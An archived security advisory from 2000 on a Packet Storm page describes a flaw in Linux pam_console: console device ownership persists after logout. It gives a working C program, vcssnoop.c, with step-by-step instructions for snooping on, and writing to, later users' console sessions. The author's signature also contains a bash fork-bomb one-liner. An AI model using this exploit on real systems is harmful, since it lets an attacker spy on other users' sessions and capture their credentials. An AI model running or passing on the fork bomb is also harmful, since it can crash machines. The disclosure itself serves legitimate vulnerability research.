exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

pam_console.bug

pam_console.bug
Posted May 17, 2000

When accepting luser console login, pam_console called by /bin/login tries to be user-friendly, doing several chowns on devices like login tty and corresponding vcs[a] device, as well as other interesting devices: fd*, audio devices (dsp*, mixer*, audio*, midi*, sequencer), cdrom, streamer/zip drive devices, frame buffer devices, kbd*, js*, video*, radio*, winradio*, vtx*, vbi* and so on. Probably it's designed to make console logins more comfortable, but has DEADLY effects on servers with console luser-login ability (and that's quite common).

tags | exploit
SHA-256 | 1d635e59bee6725bcf7c4b9d3459f4bb45a1383179c65d540f6ca36f5edf6fe0

pam_console.bug

Change Mirror Download
When accepting luser console login, pam_console called by /bin/login tries
to be user-friendly, doing several chowns on devices like login tty and
corresponding vcs[a] device, as well as other interesting devices: fd*,
audio devices (dsp*, mixer*, audio*, midi*, sequencer), cdrom,
streamer/zip drive devices, frame buffer devices, kbd*, js*, video*,
radio*, winradio*, vtx*, vbi* and so on. Probably it's designed to make
console logins more comfortable, but has DEADLY effects on servers with
console luser-login ability (and that's quite common).

On logout, these devices are chown'ed back to root, but unlike
/dev/tty[0-9], these devices have no hangup mechanism, so user will have
full control over them after logout by opening them and then keeping the
file descriptor. The easiest attack is read-write snooping of consoles.
Log in on console once, open /dev/vcsX (where X corresponds to tty
number), then logout. By continous lseek/read loop, your program will be
able to snoop futher logins on this console - forever. Also, it's possible
to write() on snooped console... Ugh. Other possibilities include reading
any inserted cd, reading/writing any inserted floppy, messing with
video/audio devices and so on, all in the same way.

Minimal tty snoop exploit:

-- vcssnoop.c --
#include <sys/fcntl.h>

main(int argc,char*argv[]) {
char buf[80*24];
int f=open(argv[1],O_RDWR);
while (1) {
lseek(f,0,0);
read(f,buf,sizeof(buf));
write(1,"\033[2J\033[H",7); // clear terminal, vt100/linux/ansi
write(1,buf,sizeof(buf));
usleep(10000);
}
}
-- EOF --

Log onto console, let's say it's tty3. Then, compile and launch this
program via screen, giving path to vcs device corresponding to your login
tty (in this case, /dev/tty3). Then, detach this screen and logout. Wait
some time, log in remotely to your account and resume screen session. You
should see real-time tty3 dump.

_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close